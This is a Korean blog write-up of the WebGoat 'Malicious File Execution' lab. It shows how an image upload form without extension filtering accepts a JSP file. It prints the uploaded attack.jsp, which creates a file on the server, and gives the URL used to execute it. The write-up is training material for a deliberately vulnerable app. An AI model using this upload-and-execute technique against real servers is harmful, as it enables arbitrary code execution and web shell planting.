본문 바로가기

[Wargame Write-up]/WebGoat

[WebGoat] [Malicious Execution] Malicious File Execution

악성 파일 실행 관련 문제이다.


아래의 Form은 원래 Image 파일만 올리도록 되어 있다.


서버 단에서의 확장자 필터링 등을 하지 않으면, 웹상에서 시스템 명령어를 실행시킬 수 있는 웹쉘이 업로드될 수 있기 때문에, 개발 시 주의가 필요하다.




우선 download.jpg라는 파일 하나를 업로드하자.




Start Upload 버튼을 누르면, Your current image 부분에 그 이미지가 보여진다.




이미지의 경로는 아래와 같다. uploads 디렉터리 안에 있는데, 문제에서는 mfe_target 디렉터리에 guest.txt를 만들라고 한다.




attack.jsp라는 이름으로, jsp 파일을 만들자.


경로를 하드코딩 했다. 6번 라인의 경로만 상황에 맞게 바꿔주면 되겠다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
 
<%@ page contentType="text/html; charset=euc-kr" %>
<%@ page import="java.io.*" %>
<%
    File file = new File("/home/pi/WebGoat/.extract/webapps/WebGoat/mfe_target/guest.txt");
    file.createNewFile();
 
    out.println("File created: " + request.getRealPath(file.getName()));
%>
 
<script type="text/javascript">
    alert("attack.jsp is launched");
</script>
 
</html>    
cs



jsp 파일을 만든 후, 업로드하자.


확장자 필터링이 안되어 있어, 업로드가 가능하다.




업로드 후, http://[주소]/WebGoat/uploads/attack.jsp로 들어가면, 방금 업로드한 코드를 실행할 수 있다.




파일이 만들어졌다고 한다. 이전으로 돌아가서 Complete 상태인지 확인해보자.




축하 메시지가 보인다. Clear~